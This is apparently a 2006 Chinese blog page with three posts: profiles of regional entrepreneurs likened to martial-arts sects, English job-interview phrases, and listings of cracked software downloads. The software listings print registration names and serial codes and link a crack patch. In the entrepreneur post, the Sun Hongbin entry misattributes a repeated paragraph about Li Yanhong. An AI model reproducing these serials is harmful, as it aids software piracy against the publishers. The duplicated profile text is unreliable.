帮派特色:自有资源丰富(七十二绝技),但需吃苦

  少林派,历史悠久;晋商,源远流长。少林派隐居山林,藏龙卧虎,无论是身份低微的伙工头陀、还是无人留意的洒扫僧人都有可能是绝世高手;山西、陕西虽自然条件恶劣,却曾有“富甲华夏、汇通天下”之称,一个看似衣衫褴褛的普通商人,家中可能藏金无数。少林武功全靠勤学苦练,“冬练三九、夏练三伏”,走不得半点捷径;晋商黎明即起、奔波于茶马古道,夏顶烈日、冬饮冰雪。当年,晋商凭借朴实憨厚、诚信为先的传统,纵横天下,近两年虽由于其大多墨守成规、行事低调而名声不显,然毕竟底蕴深厚。李兆会、张新明……新晋商依旧让人小瞧不得。

  李兆会(山西海鑫钢铁集团董事长)

  仓促继位的年轻首富

  对家族企业来说,接班如同选拔皇位继承人一样慎重,而新山西首富李兆会当初继位却是在一片悲痛中匆匆进行的。那天,他正在澳洲一所私立学校上课,突然接到电话,要他赶快回家。坐在飞机上,李兆会打开身边的一张香港《华声报》一看,头版头条上赫然写着:全国工商联副主席李海仓遇害身亡。 “轰”的一声,脑子如同爆炸了一般,眼泪奔涌而出……给父亲办完丧事,22岁的他就成了海鑫集团的董事长。

  张新明(山西金业煤焦化集团董事长)

  低调藏富的煤老板

  在入围胡润2005能源富豪榜的31位富豪当中,来自山西的煤炭商人成为一个独特的群体,一共占到8位;而来自山西金业煤焦化集团的张新明家族成为他们的代表,排名最靠前,家族资产已经超过10亿元。由于国内煤矿事故的频发以及公众对于煤炭富豪的争论和关注,张新明家族秉承了山西煤老板群体的特点:低调、藏富。

  李彦宏(百度CEO)

  五年前他还神色慌张

  2000年伊始,一位行色匆忙到京不久的小老板,“神色慌张”地来到北京大学校园里张贴了些招聘小广告。此后不久,在“闪光灯”缺位的落寞与孤独中,小老板领导着6名没花一分钱招聘来的员工,正式支“摊”营业。而五年后,李彦宏及其百度的知名度已如日中天。今日的山西,在人们心目中更多的依然还是煤窑遍地的印象,谁曾想到,在一群煤老板中却诞生了今日IT界一个超级明星,这位明星的光芒甚至已经照到了美国的大街小巷,他就是李彦宏。

  孙宏斌(顺驰中国控股董事长)

  快速“结网”的新富豪

  孙宏斌似乎生来就是让人大吃一惊的。15年前,当他蒙冤入狱的时候,人们以为他的人生就此结束,但结果是他更高调地登场了:两年前,当他率领顺驰疯狂掠地的时候,人们还只把他当成一个新笑话,但两年后的今天,大家开始佩服他当初的眼光;现在,他又试图将他赖以起家的顺驰置业罩上网络概念的光环,拿到资本市场去超额定价。2000年伊始,一位行色匆忙到京不久的小老板,“神色慌张”地来到北京大学校园里张贴了些招聘小广告。此后不久,在 “闪光灯”缺位的落寞与孤独中,小老板领导着6名没花一分钱招聘来的员工,正式支“摊”营业。而五年后,李彦宏及其百度的知名度已如日中天。今日的山西,在人们心目中更多的依然还是煤窑遍地的印象,谁曾想到,在一群煤老板中却诞生了今日IT界一个超级明星,这位明星的光芒甚至已经照到了美国的大街小巷,他就是李彦宏。

江浙帮(江苏、浙江):丐帮

帮派特色:穷则变、变则通,弟子遍天下

  如果说少林是武林第一大派,那天下第一大帮便应首推丐帮。丐帮,名字虽然听起来有些困窘,但江湖人都知道:“包子有肉不在褶上”,丐帮其实才是江湖上最富裕的门派,其子弟遍布天下角落,消息最为灵通。

  江浙企业家以四海为家,宁波人船行天下,而号称“中国犹太人”的温州人甚至在世界各大国都建立“温州街”。江浙人都有一个共同的理念:小商品、大市场,不怕赚钱少,就怕不去赚。江浙人经商也如是,随机应变,不拘俗套,只要能赚钱不在乎干什么的生意理念,更不会在一棵树上吊死,他们头脑中生意无地域,市场无疆界,只要有钱赚,管它东南西北中。陈天桥就是把被人们认为会荒废工作的游戏当作了自己的终身事业,而且大赚其钱,成为商界传奇。

上排左起:陈天桥 李书福 鲁冠球 严介和

下排左起:宗庆后 丁磊 郭广昌 沈文荣

  陈天桥(盛大网络董事长)

  年少时总想冒尖

  俗语说:三岁看大。初中时代的陈天桥就心怀强烈的冒尖意识,不甘于寂寞,对班长一职表现出雄心勃勃的占有欲。正如现在的他曾多次表示要当网络游戏界的主流人物,公司盛大网络要成为行业规则的制定者。当浙江人坚韧、精明和投机的本能,遭遇复旦经济系高才生经纶世务的务实头脑,“面如重枣,不苟言笑”,31岁的陈天桥还像一个游戏玩家吗?也许看客们还可以感慨一声:他竟然是做游戏的!

  李书福(浙江吉利集团董事长)

  发狂是他的常态

  在中国汽车业,李书福向有“狂人”之称。而且,发狂是他的常态。9月,李书福再次大出风头,吉利旗下5款新车型亮相德国的法兰克福车展,是全中国惟一的一家。此前,包括法兰克福车展在内的世界公认的5大车展,中国汽车企业从来没有独立涉足过。而吉利,只是一家涉足汽车业不过5年的民营企业。这点,足够使李书福骄傲。

  鲁冠球(万向集团董事局主席)

  民营界传奇不老翁

  鲁冠球最近非常忙。2005年已经过去大半,他仍是马不停蹄地出差,不是去下属公司视察就是去开会。这样出差的频率可能连年轻人都会感觉到疲惫,但在鲁冠球的身上似乎看不到他那个年岁人的影子。忙惯了的鲁冠球难以停下,他放言,要继续组建中国制造基金、浙江省产业投资基金、金融租赁公司等相关的产品;继续发展高科技产业,要用10年的时间,打造一个真正的“中国硅谷”;还要进军石油业;制造汽车……

  严介和(太平洋建设集团董事长)

  如此狂徒严介和

  严介和在1977年恢复高考时考上了师范学院,毕业后成了江苏淮安一所中学的语文老师,任教后严一边做老师一边安排家庭副业,发动全家编织草帽、斗笠、簸箕等,自产自销,收入不错,慢慢就扩大规模雇佣工人了。到上世纪80年代初,严介和已经赚得几十万元资产。“我敢说那时候淮安我是最有钱的。”严介和行事一贯敢说敢做,甚至有接触过他的官员愤然而评:“如此狂徒严介和!”

  宗庆后(娃哈哈集团董事长)

  跑市场“跑”出财富

  在中国称得上企业家的人群里,宗庆后可能是最勤奋的一个。一年365天,他有200天时间奔赴市场一线考察。2002年8月,为新建分厂考察选址,宗庆后创下了12天跑遍大半个中国的纪录。“如果中国13亿多人,每人买一件我的产品……”这个容易遭到嘲笑的梦呓,爱“跑”的宗庆后做到了。

  丁磊(网易首席架构官)

  怎么看都显平淡

  2002年的大年廿九,在网易股价的一路飙升中,春风得意的丁磊驾着大切诺基风尘仆仆赶回老家奉化,参加奉化中学89届(2)班同学会。当班主任江老师向这个中国大陆首富要300块钱的活动费时,丁磊搜遍全身竟然也找不出300元现金。他说他身上只带信用卡。这笔钱到第二天才交上。这算是这个富豪荣归故里时发生的惟一一个够得上故事的素材。别的,怎么看都显得平淡。平淡中见神奇,也许正是他真实的写照。

  郭广昌(复星高科技集团公司董事长)

  寒门走出的孝顺富豪

  今年9月,复地集团以5.11亿元投得天津一地产项目,意气风发。可1993年,事业起步不久的郭广昌刚有能力让住在农村的父母过上好点的生活,即在横店买了块地皮,建起一栋5层高的楼房。“广昌原本想接父母去上海住的,他搞房地产,房子也多,可是我父母亲习惯不了上海的生活。但广昌是很孝顺的,虽然工作很忙,可他每个星期都会打电话来问候父母,电话那头总是‘老娘’、‘老爸’喊着。”郭广昌的姐姐说。

  沈文荣(江苏沙钢集团董事长)

  从农民到钢铁大王

  当年农民集体办的弹棉花小厂集资45万办起了钢铁厂,谁也没想到会长成一棵闻名世界钢铁业的参天大树。1979年,小钢铁厂有点起色时,沈文荣曾经努力要改掉“农民”身份,让政府把这个厂改成“全民所有制”,厂里的农民也都可以“修成正果”,当上国家的工人。但沈文荣调侃:“人家政府不要,你还当你的农民吧。”

安徽帮:武当

帮派特色:会文习武,仁侠仗义

  敢与少林比肩的门派非武当莫属。同样是历史悠久的门派,只不过少林敦厚,武当儒雅。武当的功夫在悟性而不在执著,所以张无忌学太极拳的时候,必须把招数忘光才算出师。至于武当的侠风便是少林也不及。历史上,安徽企业家在商界曾发生过举足轻重的影响,被称为徽商。而徽商不是一个单纯以经商营利为惟一目的的商业集团,他们与文化有着不解之缘,从而形成了这个商业集团的独特风格,赢得了“儒商”的美名。民谚说:“无徽不成商”,称赞的就是其讲诚信、重信誉的商业精神。现代安徽,经济上虽然落伍了,至今尚未形成一个现代企业家阶层,但传统徽商的经商之道在安徽企业家中风骨犹存,安徽企业家仍然怀着舍利取义的古国之风,在市场经济的激烈竞争中,讲求诚信,重产品质量,苏宁的张近东就是一直靠着服务和信誉与黄光裕的国美分庭抗礼的。

左起:张近东 祝义才 王传福

  张近东(苏宁电器董事长)

  看自己到底能跑多快

  苏宁电器董事长张近东,1984年毕业于南京师范大学中文系。1990年,他怀揣10万元下海开设苏宁交家电,成为空调批发商,第一年即成千万富翁。15年的市场打拼令他颇有心得,他认为,国内家电连锁业制胜的关键在于成长速度。因此,他给出了一句名言:“只要店面覆盖上还有空白,就去覆盖它。苏宁现在已不再为开店定具体指标,我们只是放手看自己到底能跑多快。”有人说,这位曾在15年间赚取25亿元财富的家电大鳄,似乎更着意苏宁的未来。

  祝义才(南京雨润集团董事长)

  怀揣200元辞职下海

  连续多年的“江苏首富”最初怀揣着仅有的200元积蓄辞职下海,把目光投向水产品出口贸易。做第一次生意时,祝义才还是从别人手中赊了几只上等虾蟹做样品,在和对方谈了好几次后,祝义才拿到了第一份定单。

  王传福(比亚迪公司总裁)、吕向阳(融捷集团总裁)

  兄弟携手闯江湖

  两人合作关系是实业与金融亲密接触的绝佳版本:“电池大王”王传福本人拥有先进的技术和管理经验,而吕则掌控着资金的流动方向;吕在王创业时期慷慨下注,力解王的资金饥渴,而不久之后,王的事业蒸蒸日上,吕的回报自然不菲,并实现了投资管理的大发展;王在公众的视野之内,而吕则隐匿于幕后。二者的结合创造了中国民营企业家合作的典范。他们两人除了是合作者,还是表兄弟。

北京帮:天地会

帮派特色:带政治味,打政治牌

  “平生不识陈近南,就称英雄也枉然”,虽然与少林、武当之类的悠久历史不能相提并论,但天地会会众们自有其骄傲之处。由于创建之初就背上了“反清复明”的政治任务,天地会并非全靠武功傲人,没有一定的政治眼光和适当的身份背景,就算是武功高强如陈近南,最后也不得不因台湾小王爷郑克爽而无辜身死。北京文化底蕴深厚不可估量,北京人也因此能言善辩,但往往言过其实,欠缺行动,容易流入小聪明之流。

左起:陈丽华 戴皓 杜厦

  陈丽华(香港富华国际集团董事长)

  都是靠朋友帮忙

  现如今,在京城,长安俱乐部仍是财富与地位的象征。值得玩味的是,10多年来,陈丽华接揽的地产项目个顶个都是寸土寸金的金贵地段,个中玄机谁人能参破?64岁的陈丽华淡淡地一笑:“都是靠朋友帮忙。很多人都问我经商的诀窍,我说很简单———诚实、信用第一,真心实意地交朋友。”

  戴皓(中发实业集团董事长)

  轮椅上的金融梦

  2005年7月5日,北京人民大会堂,合众人寿在它的保险布局上又落下了一枚重要的棋子。这一天成立的合众人寿北京分公司,已是这家民营保险企业在成立半年多来,设立的第五家分公司。因一场车祸而不得不坐在轮椅上的戴皓,是一家集房地产、金融、医药、物业、经贸于一体的民营企业———中发集团的董事局主席兼总裁。尽管中发集团是一家以实业为主的企业,但戴皓对金融领域却有惊人的热情。他曾经表示自己要在“40岁以前成为实业家,40岁以后成为金融家。”

  刘振江、刘方(源信行投资)

  谜一般的身世

  值得注意的是,此次入选胡润金融富豪榜首位的刘振江、刘方家族,是如何入股平安保险而变成巨富一直是个谜。有报道称,刘氏父女在2002年得以入股平安保险,可能是在当时外资入股国内保险公司尚存在政策障碍的情况下,香港资金在国内“曲线救国”所选择的代理人。

  杜厦(天津家世界集团董事长)

  没有肮脏财富

  杜厦说:“很多人对中国富豪榜有各种各样的评价,而我本人认为,这是对我们中国民营企业的肯定。我一直走一条光明的道路,我们创造的每一分钱都是在阳光下的。从来没有贿赂过一分钱,从来没有一分肮脏的财富。”

吃辣帮(湖南、湖北、四川):峨嵋派

帮派特色:认败不服输、面子比命重

  如果不考虑峨嵋派只招女徒的习惯,用峨嵋派来比喻这些嗜辣如命的企业家再合适不过了。峨嵋派虽是女子却最为好胜,先不说死不认错地灭绝师太,就连峨嵋鼻祖郭襄因不被父母允许参加“英雄大会”,也在自己的闺房之中开起了“英雄小宴”相对抗。与峨嵋山一样同在四川的四川企业家,也有着争强好胜的性格特征。民生银行,就是四川企业家刘永好当年在银行不给贷款的刺激下开的。而同样爱吃辣的湖南、湖北人也都有相似的个性,“天上九头鸟,地下湖北佬”说的就是湖北人不服输的个性,而湖南人懂政治,明大局,常出风云人物。不过一般来说,这些人做生意时讲面子的习气严重,有时价钱和交易的条件,并不是谈成生意的最重要因素,而是否“给面子”,才是决定成败的关键。

左起:周建和刘永好 雷军

  周建和(庄胜集团总裁)

  第一桶金无从探究

  从上世纪90年代初庄胜集团进入内地市场以来,直接采访过周建和的记者少得可怜。还有一种更夸张的说法称,庄胜集团许多中层都没有见过周建和本人。从周建和的身上,似乎能看到一代民营企业家的缩影。从某些方面讲,他很具有代表性:民营企业家的坚韧、拼搏在他身上体现得很明显,把一个日本百货品牌成功地在中国的首都打响,每个月营业额1个多亿的业绩在国内百货业可圈可点;他同时又非常低调和神秘,他一直隐身于响当当的SOGO品牌之后,甚少露面,他的第一桶金至今无从探究。

  刘永好(新希望集团董事长)

  “与时俱进”创奇迹

  刘永好是中国大陆私营经济最早的觉醒者之一,也是民营企业向现代企业转型的开拓者。20多年来,刘永好和他的企业以各种形式进入国人的视野:从最初在农户墙壁上大笔刷写饲料广告到现在的投资房地产业;从白手起家时的街谈巷议到拥有亿万财富。我们可以用一个时髦而且官方的词语来总结,这个词语就是:与时俱进。

  雷军(金山软件股份有限公司总裁)

  减法生存之路

  通常的企业都以加法的方式来做大做强自己,而雷军偏偏给金山选择了一条减法生存之路。通过减法,金山的业务越来越清晰,越来越专业。如今已经形成了WPS、金山毒霸和网络游戏为核心的三大业务

两河帮(河北、河南):梅花拳派

帮派特色:贫穷逼出富翁

  少林寺虽坐落于河南,却往往沦为统治阶级的工具,而梅花拳,流行于河北等地,习练者却多是贫苦的乡人,至今为止仍然是中国习练者最多的门派。“穷山恶水多刁民”是某些人的偏见,但不可否认由于自然环境恶劣,两河的居民普遍好勇斗狠,而贫困的生活也磨练出他们的聪明机敏,善以小事谋大利。这一地区的企业家待人重义疏财,但必求回报,如河南人朱国凡靠着帮人洗脚洗出了国门,成了2005年隐形行业的冠军。

许家印 李金元

  许家印(恒大集团董事长)

  30页简历难觅一职

  许家印是首批获评全国劳模的30多位民营企业家之一,他至今对在深圳找工作的情景记忆犹新。1992年他拿着长达30几页的简历来到深圳,东奔西跑三个月,却石沉大海。后来他重新做了只有2页的简历,竟然很快就有好几家公司的老总约他面试。当谈到此,许家印深有感触地说:想想自己,老总们怎么可能看你30余页的简历呢!

  李金元(天狮集团总裁)

  我的心比手还要大

  近一米八的个头,身材魁伟,大眼、竖眉、耳小垂大,这就是河北的李金元。李金元的手很有特点,手掌大而且宽厚有力。2001年李金元出访泰国,一位泰国的政府要员跟李金元握手时,顿时感觉到李金元的手不一般。在稍后的晚宴上,这位要员品评李金元的大手,而李金元回答说,我的心比手还要大。

上海帮:金钱帮

帮派特色:精明有余,魄力不足

  金钱帮的名字听上去俗气,势力却是不小,帮主上官金虹认为钱能通神,并以此自负,设计了重重陷阱对付自己的宿敌李寻欢,却因迟迟不肯出手而死于李的飞刀之下。就像上海人,虽然口碑算不上最好,但其精明得自天性,“门槛”之精,无人能够否认。上海人比较专一,有特有的精明,聪明好学,坚持不懈,但过于自信,固步自封。与浙江帮有许多共同点,惟一遗憾的是:缺乏顶尖人物,底子较薄。

左起:刘长乐 吴征杨澜 叶立培

  刘长乐(凤凰卫视董事局主席)

  激情者才能生存

  刘长乐及其凤凰卫视的成功正在变得越来越引人注目。刘长乐在1988年通过原油贸易赚取了第一桶金,1996年与默多克一同创立凤凰卫视。曾经有人让刘长乐来概括凤凰人的工作精神,刘说了一句话:“一个疯子和五百个疯子”。而凤凰员工也曾经以“榨汁机”来形容刘长乐把“女生当成男生用,男生当成牲口用”的“治军策略”。而激情正是让他们成为疯子,让凤凰卫视取得成功的原因。

  吴征杨澜(阳光媒体投资)

  婚姻不只“生孩子”般简单

  杨澜和吴征结合前,彼此都有过一段失败的婚姻。杨澜说:“爱情其实是有一点盲目的,想结婚时就结婚,想生孩子就生孩子,没必要磨磨蹭蹭的。”但是,杨澜的婚姻显然并不只是“生孩子”那么简单,两人不仅是夫妻,还是事业伙伴。2000年,杨澜和吴征以夫妻档创办了“阳光文化”。只是在和 “财富老公”结合的名女人中,杨澜算是个例外———她并不甘心在别人的大树下乘凉。

  叶立培(仲盛集团董事长)

  毫不掩饰自身财富

  叶立培是个颇为神秘的人物。叶立培在上世纪80年代初通过中澳贸易挖到第一桶金,回国后因将上海近郊农田开发成知名的豪宅而声名鹊起。叶立培是少数不掩饰自己财富的社会价值的上榜富豪之一。他曾经说:“现在我们一个工地都有好几千人,对解决就业起了一定作用。还有我们交税,去年是交了2 个亿。”

福建帮:福威镖局

帮派特色:天生的商人

  福威镖局其实算不上一派,但其“避邪剑法”却是冠绝天下,虽招招都有漏洞,但由于一气呵成,破绽就也不成其为破绽;而镖局是私产,父传子、子传孙……子继父业,天经地义。福建本来就不适宜农耕,“出海从商”就成了福建人的最佳职业选择。福建人一生下来耳闻目睹的情景就是祖辈父辈外出经商,他们十三四岁就走上了经商之路也是天经地义的事情。

许荣茂

  许荣茂(世茂集团董事长)

  一个灯也可调上百次

  胸口别着同济大学的校徽,使这位在沪港资本市场和京沪房地产市场上纵横驰骋的健将平添了几分儒雅。这个身体略微发福的小个子头发梳得一丝不苟,皮鞋光可鉴人,说话细声慢气,不紧不慢,让人想到其子许世坛的一句评语:“父亲非常细致、严谨,每个细节都认真对待,一个灯也可以调上几百次。” 如同他本身,许荣茂装束庄重内敛毫不华丽,全无暴发户的张扬与炫耀。

广东帮:明教

帮派特色:忌讳多,却敢为天下先

  明教忌讳最多,被人谬称之为“食素事魔”,一度被禁,人才虽多,但大都行事低调,明明创立了一个王朝却只能隐伏在阴影之下,抬不上桌面。与之相类,广东企业家对出名也不太有兴趣。从黄光裕到黄茂如,个个都是韬光养晦的高手,往往神龙见首不见尾,为了找一张他们的相片编辑不得不在网上搜了多半天。但广东的民营企业家登上富豪榜的却是不少,他们是中国城市人中最忙碌的一群,以钱为人生第一要义,孜孜不倦地追求,不遗余力。“要发财,忙起来”,这是广东商人们的口头禅。

左起:黄光裕 朱孟依 周泽荣 黄茂如

  黄光裕(鹏润投资集团董事长)

  财富不能“歇脚”

  黄光裕再度在胡润的富豪榜上蝉联中国首富。资本市场已然成为富翁的主要生产线,黄光裕就是这一生产线的最新产品。凭其国美电器在香港成功上市,两度借壳颇令人瞩目,虽然被指为左手倒右手的游戏,但其财富迅速超过百亿。黄光裕说:“中国的富人很多,我都不算是富人,对中国首富这个概念没感觉,假如你在不停地发展自己的事业,那么它就不是财富;如果停下来了,它或许是。但最大的可能是,今天你一无所有,但明天你什么都有了,而后天你又回到了起点。”

  朱孟依(合生创展、珠江投资总裁)

  神龙见首不见尾

  作为地产界一位“沉默的大佬”,各媒体提到朱孟依时往往对个人情况语焉不详,但形容他的语句在含义上达到惊人一致:“大音希声,大象无形”、“巨贾无言”、“地产隐霸”、“地产潜龙暗争锋”等等。据说某富豪榜列上朱孟依后,竟然面临找不到朱孟依照片的尴尬。

  黄俊钦(新恒基集团董事长)

  “胡润总算把他揪出来了”

  黄氏家族四兄妹中的大哥黄俊钦多年来一直极为低调。外人只知道,1993年国美电器黄氏两兄弟分家,弟弟黄光裕分得“国美”品牌和几十万元现金,房地产业务等资产归哥哥黄俊钦。黄俊钦创办了新恒基集团。尽管黄俊钦的办公地点与国美总部同在鹏润大厦18层,但黄俊钦的曝光率几乎为零。就连黄光裕都笑称:“这回胡润总算把他揪出来了”。

  周泽荣(侨鑫集团董事长)

  面孔陌生的“黑马”

  这位长相端正的中年潮州男士,平时曝光率是极低的。人们一般只能从侨鑫集团的会客室里看到他与中国和澳大利亚两国要人的合影,还有与广州地方政府进行合作的场景。登上百富榜,媒体这样评价:“面孔多少有些陌生”。言下之意,有点“黑马”的味道。

  黄茂如(茂业集团董事长)

  闷声发大财

  这个与李嘉诚、黄光裕同根潮汕的商人,一直选择韬光养晦,闷声发大财。从他在深圳最先做的几个地产项目来看,基本都是短小精悍型的,规模不大但可快速收回投资。始终“潜水”的黄茂如一点点壮大自己的实力,直至有一天一出水就一飞冲天。2003年茂业集团的世界金融中心落成,一举成为深圳的新坐标,一夜之间黄茂如震惊全国地产界。

东北帮(黑、吉、辽):神州结义

帮派特色:感情深,一口闷

  以萧秋水为首的神州结义事实上就是一个意气相投的青年组合,只要彼此看对了眼,酒碗一碰,不管对方是久有盛名的武林前辈还是被称作“败类”的名门叛逆,都可以命相交、生死相许;虽然也会有人背叛,但收获却是更多。有经验的经营者都知道在东北做生意酒量很重要,酒干得爽快生意就容易谈拢。这也是现在很多东北企业家的特色,他们讲义气,最重朋友之情,敢打敢拼,但本性却不似表面之豪放,粗中有细。这一特色促使许多东北民营企业家成为大腕级的富豪。但太重义气,虽然使大家不必因竞争伤和气,却与现代商业竞争的发展趋势格格不入,今后难免面临着被时代淘汰的窘境。

徐明

  徐明(大连实德集团董事长)

  球迷中知名度最高

  徐明在去年年底与中国足协的一场风波也许让他成为在中国普通民众中最具知名度的民营企业家。在金融方面,徐明在去年成功入股太平洋保险。2004年,徐明绝大部分的精力都放在他的石油项目上。

山东帮:泰山派

帮派特色:做事往往附于人后,但成事却在人前

  山东作为孔孟之乡,度其企业家之行事却可以泰山而称之。孔子述而不作,《论语》是其弟子总结而成,山东企业家并不标新立异,但却总能从别人的经验中整理出新意,创立自己的事业。且泰山派在五岳派中道教色彩最为浓厚,武功招式中文化色彩也最重。而山东企业家文化底蕴深厚,大多文武双全,智慧极高。

朱新礼

  朱新礼(北京汇源饮料食品集团董事长兼总裁)

  老实人也“狡猾”

  山东人的热心肠和老大哥的作派,使朱新礼在商人圈子里有出名的好人缘。朱新礼的面相极为憨厚,有如沂蒙山区邻家的某位大伯。有人笑说正是这副忠厚长相在生意上帮了朱新礼不少忙。老实人其实有“狡猾”的一面。话匣子一旦打开,喜欢说故事的朱新礼会让听者兴致勃勃,但朱新礼总会把握住那些不该说出口的秘密。mark

posted @ 2006-07-02 20:07 MEYE 阅读(635) | 评论 (1)编辑 收藏
面试是求职者获得工作机会的一个重要阶段。雇主们往往不只是想找个称职的雇员,他们还希望找到一个能进一步交往的人。要在强手如林的求职竞争中取得成功,面试时给人留下良好的印象是很关键的。

 在面试中,有几点一定要多加注意:

 第一是要多强调自己的强项,显示出对自己工作能力的十足信心。不过,千万不要夸大其辞,而应实事求是。

 第二要认真倾听面试人的讲话,并积极应和。注意面试人的兴趣所在,并把自己的看法与之联系起来。如果你对自己是否胜任新工作还不太肯定,可以向面试人多提一些问题。多听少说。大多数面试人会欣赏你勇於提问和善於聆听和对答的能力。

 第三要应答得体,既要表现出对工作充分的热忱和兴趣,又要表达清楚自己的立场和意愿。

 下面给大家介绍一些求职面试时的应答技巧,或许可以在你求职时助你一臂之力。

 询问公司空缺职位时,可以说:
 I read the advertisement you put on the Morning Post the other day. It offered a job opening for a secretarial position in your company. Is it still available?
 (我从前几天的晨报上得知贵公司有一秘书职位空缺,现在这个位置还空着吗?)

 I wonder if there is still a vacancy for an experienced programmer.
 (我想知道是否你们仍然还在招聘有经验的程式编写员。)

 在问及为何离开原来公司时,不妨以实相告:
 I would like a more challenging job in a small, but expanding firm.
 (我想在一家规模小的但却在扩大发展的企业里承担更具挑战性的工作。)

 I enjoy working in different places and meeting new people.
 (我喜欢在不同的地方工作认识新朋友。)

 The prospects in my present job are not very good.
 (我目前的工作前景不好。)

 如果对今後工作或对自己的前景表示关注,可以提一些这样的问题:
 What are the working hours?
 (工作时间是怎样的?)

 Is there overtime?
 (有加班费吗?)

 Is there any opportunities to advance?
 (有晋升的机会吗?)

 What's the salary?
 (薪水是多少?)

 Do I have to go on business trips very often?
 (是否会要经常出差?)

 相信如果你有胜任的实力和充分的意愿,面试人一定会好好考虑你的。
posted @ 2006-07-01 13:19 MEYE 阅读(368) | 评论 (1)编辑 收藏
Ulead VideoStudio(会声会影) 9.0 绿色简体零售精简版
软件大小:未知
软件语言:简体中文
软件类别:国外软件 / 破解版 / 视频处理
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:53:30
页面刷新:2006-3-21 9:53:30
下载次数:53
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
Ulead VideoStudio(会声会影)是一个消费级的视频编辑软件,专为个人及家庭所设计的数字影片剪辑软件。可将所拍下来的精彩生活影片剪辑出独一无二的鲜活影片,轻松创建成带有生动的标题、视频滤镜、转场和声音的家庭视频作品。并制作成VCD、DVD影音光碟、电子邮件或网络串流影片与亲朋好友一同分享!
说明:
1.  根据官方简体中文正式版制作,基本拥有视频制作的全部功能。但有部分功能未测试,例如视频采集、回写DV等。
2.  删除了所有的示例音视频文件(占用空间140M)以及所有模板(占用空间360M),因此无法使用其向导功能。
3.  没有安装smartsound,无法使用smartsound的音频功能。
4.  由于软件默认的库文件路径无法修改,会造成每个文件都需要重新修改链结,很是麻烦,因此索性删除了这些项目的库文件,需要时自己手动添加。(方法见使用第2项)
5.  已经集成了FrameServer,可以借助TMPGEnc直接输出高品质的Mpeg文件。(方法见使用第3项)
6.  已经集成Hollywood FX转场插件,可以直接使用Hollywood FX Gold v4.58的转场效果(必须是Hollywood FX Gold v4.58版,其他版本不行)。(方法见使用第4项)
使用:
1.  执行@install.cmd进行初始化,然后就可以运行vstudio.exe启动会声会影9。执行@UNinstall.cmd可完美卸载。
2.  第一次使用时视频、音频、装饰(对象、边框)、Flash动画这四项下是空的(原因见说明第4项)。音频和视频请添加自己所需要编辑的媒体文件。原版所带的对象、边框、Flash动画文件在安装目录的“Samples”目录下,我已经分类并且改为中文目录名,使用时请自行添加。
3.  使用FrameServer:首先进入安装目录下的FrameServer目录,执行@InstFS.cmd。然后在创建视频文件时选择自定义,在保存文件类型中选择“DebugMode FrameServer Files(*.avi)”,保存。最后运行TMPGEnc,打开保存的AVI文件(只有几K),设置相关参数,就可以了。
4.  使用Hollywood FX转场插件:首先安装Hollywood FX Gold v4.58版(必须是4.58黄金版),然后在会9的转场菜单下选择“Hollywood FX”,这时项目下只有一个“Gold”效果。拖放“Gold”效果到需要转场的地方,然后点击左边控制台里的“自定义”,就可以出现Hollywood的设置面板。设置好效果后,确定即可加入到转场中去。



点击下载



Adobe After Effects Pro 6.5 绿色汉化零售专业版
软件大小:未知
软件语言:简体中文
软件类别:国外软件 / 破解版 / 视频处理
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:51:15
页面刷新:2006-3-21 9:51:15
下载次数:67
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
Adobe After effects 并不是一个非线性编缉软件,它主要是用于影视后期制作,是一个为产生复杂的,有趣的,特殊的效果的影像编辑系统。AfterEffects 能够为影片、播放影像、多媒体演示和 Web 产生非常复杂的,流畅 2D和3D 效果,它装载有复杂函数。 After Effects 6.5 有两个版本:After Effects 6.5 标准版提供核心的 2D 和 3D 合成、动画制作和视觉效果工具。 After Effects 6.0专业版包括 After Effects 标准版中的所有功能,另外还提供了动画跟踪和稳定化功能、先进的索引和变形工具、30 多种附加视觉效果、粒子系统、脚本、网络成像、每信道 16 位彩色、额外的音频效果,等等。



点击下载



MetaProducts Web Studio v4.4
软件大小:3544KB
软件语言:英文
软件类别:国外软件 / 破解版 / 网页辅助
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:49:27
页面刷新:2006-3-21 9:49:27
下载次数:26
软件评级:
联 系 人:未知  
开 发 商:http://www.metaproducts.com/
软件介绍:
MetaProducts Web Studio 是一个非常好的网页制作工具,内置预览窗口,可以直接预览所编制的网页实际的显示效果,出色的快捷工具栏的设计让你制作网页更加方便,支持包括CSS,html,Java Script,VB Script ,SQL,Perl,PHP,Java,C++,Pascal,支持语法拼写检查,内置代码助手,具有代码自动填充功能,内置模板编辑器和Tag设计工具,具备多种字符和文本的转换功能,功能非常强大!^_^
Name:piaodown.com
Serial:dqmaFzaRuBechGjLM7GToTJCuhuvtmpKNU0kSg97TIzTUgZUua6J1W5CJNBsv/T8Bg=amqd



点击下载



点击下载破解补丁



星空网络电视 V1.14 注册版  
软件大小:957k
软件语言:简体中文
软件类别:国产软件 / 注册版 / 网络电视
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:49:06
页面刷新:2006-3-21 9:49:06
下载次数:851
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
《星空网络电视》是一款功能强大的网络电影电视播放软件。软件中内置了国内、港台、国外近300个精彩电视频道(包含精彩的凤凰卫视、阳光卫视,TVB8,TVB星河、ChannelV、曰本、韩国、美国等几百个精彩电视频道),还有上百个国内外精彩电台的广播,让您24小时在线免费看电视电影,免费听音乐。软件操作极为简单,只要用鼠标点击就可以享受网络在线实时电视和广播了节目了,并且支持在线升级。全面支持Windows9x/ME/NT/2000/XP/2003。新增加港台流行音乐专辑和体育频道,马上在线收看。
用户名:guantao
注册码:212124212126277


点击下载



桌面曰历秀(XDeskCal) v2.6.1 破解版
软件大小:4.24 MB
软件语言:简体中文
软件类别:国产软件 / 破解版 / 时钟曰历
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:47:45
页面刷新:2006-3-21 9:47:45
下载次数:834
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
桌面曰历秀(XDeskCal) 是一个漂亮的、完全支持自定义的曰历软件。
它的特点有:
待办事项清单
约会提醒
闹钟
假曰提醒
并且把这些数据显示在你的桌面上。
它是一个轻量级的应用软件,既不会占用过多的系统资源也不会占用你桌面太多的空间。
注册名(卡号): XDC2_1_KQI2ELQF8C1021
注册码(密码): 0C4B7D1S5J8T3A7M1I4E



